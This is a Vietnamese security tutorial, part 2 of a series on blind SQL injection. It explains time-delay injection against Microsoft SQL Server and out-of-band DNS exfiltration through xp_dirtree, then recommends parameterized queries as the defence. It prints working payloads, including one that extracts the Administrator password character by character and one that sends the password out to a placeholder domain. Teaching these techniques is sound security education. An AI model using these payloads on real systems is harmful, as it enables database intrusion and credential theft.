Trang chủ Dạy và họcBảo Mật Một số cách khai thác sql mù điển hình phần 2

Một số cách khai thác sql mù điển hình phần 2

Bởi Lê Huy

5.Khai thác tính năng chèn SQL mù bằng cách kích hoạt độ trễ thời gian

Nếu ứng dụng phát hiện được lỗi cơ sở dữ liệu khi thực thi truy vấn SQL và xử lý chúng một cách khéo léo thì sẽ không có bất kỳ sự khác biệt nào trong phản hồi của ứng dụng. Điều này có nghĩa là kỹ thuật gây ra lỗi có điều kiện trước đó sẽ không hiệu quả.

Trong tình huống này, thường có thể khai thác lỗ hổng chèn SQL mù bằng cách kích hoạt độ trễ thời gian tùy thuộc vào điều kiện được chèn là đúng hay sai. Vì các truy vấn SQL thường được ứng dụng xử lý đồng bộ nên việc trì hoãn việc thực thi truy vấn SQL cũng làm trì hoãn phản hồi HTTP. Điều này cho phép bạn xác định tính xác thực của điều kiện được chèn dựa trên thời gian cần thiết để nhận được phản hồi HTTP.

Các kỹ thuật kích hoạt độ trễ thời gian dành riêng cho loại cơ sở dữ liệu đang được sử dụng. Ví dụ: trên Microsoft SQL Server, bạn có thể sử dụng cách sau để kiểm tra một điều kiện và kích hoạt độ trễ tùy thuộc vào biểu thức có đúng hay không:

 

				
					'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
				
			
  • Đầu vào đầu tiên trong số này không kích hoạt độ trễ vì điều kiện 1=2 là sai.
  • Đầu vào thứ hai kích hoạt độ trễ 10 giây vì điều kiện 1=1 là đúng.

Sử dụng kỹ thuật này, chúng ta có thể truy xuất dữ liệu bằng cách kiểm tra từng ký tự một:

				
					'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

				
			

6.Khai thác tính năng chèn SQL mù bằng kỹ thuật ngoài băng tần (OAST)

Một ứng dụng có thể thực hiện cùng một truy vấn SQL như ví dụ trước nhưng thực hiện không đồng bộ. Ứng dụng tiếp tục xử lý yêu cầu của người dùng trong luồng gốc và sử dụng một luồng khác để thực thi truy vấn SQL bằng cookie theo dõi. Truy vấn vẫn dễ bị tấn công bởi SQLi nhưng không có kỹ thuật nào được mô tả cho đến nay sẽ hoạt động. Phản hồi của ứng dụng không phụ thuộc vào truy vấn trả về bất kỳ dữ liệu nào, lỗi cơ sở dữ liệu xảy ra hoặc vào thời gian thực hiện truy vấn.

Trong tình huống này, thường có thể khai thác lỗ hổng chèn SQL mù bằng cách kích hoạt các tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát. Chúng có thể được kích hoạt dựa trên điều kiện được đưa vào để suy ra từng thông tin một. Hữu ích hơn, dữ liệu có thể được lọc trực tiếp trong tương tác mạng.

Nhiều giao thức mạng có thể được sử dụng cho mục đích này, nhưng thông thường hiệu quả nhất là DNS (dịch vụ tên miền). Nhiều mạng sản xuất cho phép truy cập DNS miễn phí vì chúng cần thiết cho hoạt động bình thường của hệ thống sản xuất.

Các kỹ thuật kích hoạt truy vấn DNS dành riêng cho loại cơ sở dữ liệu đang được sử dụng. Ví dụ: đầu vào sau trên Microsoft SQL Server có thể được sử dụng để thực hiện tra cứu DNS trên một miền được chỉ định:

				
					'; exec master..xp_dirtree '//example-domain.net/a'--

				
			

Điều này khiến cơ sở dữ liệu thực hiện tra cứu tên miền sau:

				
					example-domain.net
				
			

Sau khi xác nhận cách kích hoạt các tương tác ngoài băng tần, bạn có thể sử dụng kênh ngoài băng tần để lọc dữ liệu khỏi ứng dụng dễ bị tấn công. Ví dụ:

				
					'; declare @p varchar(1024);set @p=(S3LECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.example-domain.net/a"')--

				
			

Đầu vào này sẽ đọc mật khẩu cho Administratorngười dùng, nối thêm miền phụ Cộng tác viên duy nhất và kích hoạt tra cứu DNS. Tra cứu này cho phép bạn xem mật khẩu đã chụp:

				
					s3cure.example-domain.net
				
			
Các kỹ thuật ngoài băng tần ( OAST ) là một cách mạnh mẽ để phát hiện và khai thác việc chèn SQL mù, nhờ khả năng thành công cao và khả năng lọc trực tiếp dữ liệu trong kênh ngoài băng tần. Vì lý do này, kỹ thuật OAST thường được ưu tiên hơn ngay cả trong những tình huống mà các kỹ thuật khai thác mù quáng khác hoạt động hiệu quả. khai thác sqli

7.Làm thế nào để ngăn chặn các cuộc tấn công tiêm SQL mù?

Mặc dù các kỹ thuật cần thiết để tìm và khai thác các lỗ hổng chèn SQL mù khác nhau và phức tạp hơn so với kỹ thuật chèn SQL thông thường, nhưng các biện pháp cần thiết để ngăn chặn việc chèn SQL là giống nhau.

Giống như việc chèn SQL thông thường, các cuộc tấn công chèn SQL mù có thể được ngăn chặn thông qua việc sử dụng cẩn thận các truy vấn được tham số hóa, đảm bảo rằng thông tin đầu vào của người dùng không thể can thiệp vào cấu trúc của truy vấn SQL dự định.

Để biết thêm chi tiết ,bạn có thể tham khảo bảng SQLi Cheat Sheet.

8.Ví dụ về SQLi mù với tương tác Out-of-band

Related Posts

Để lại một bình luận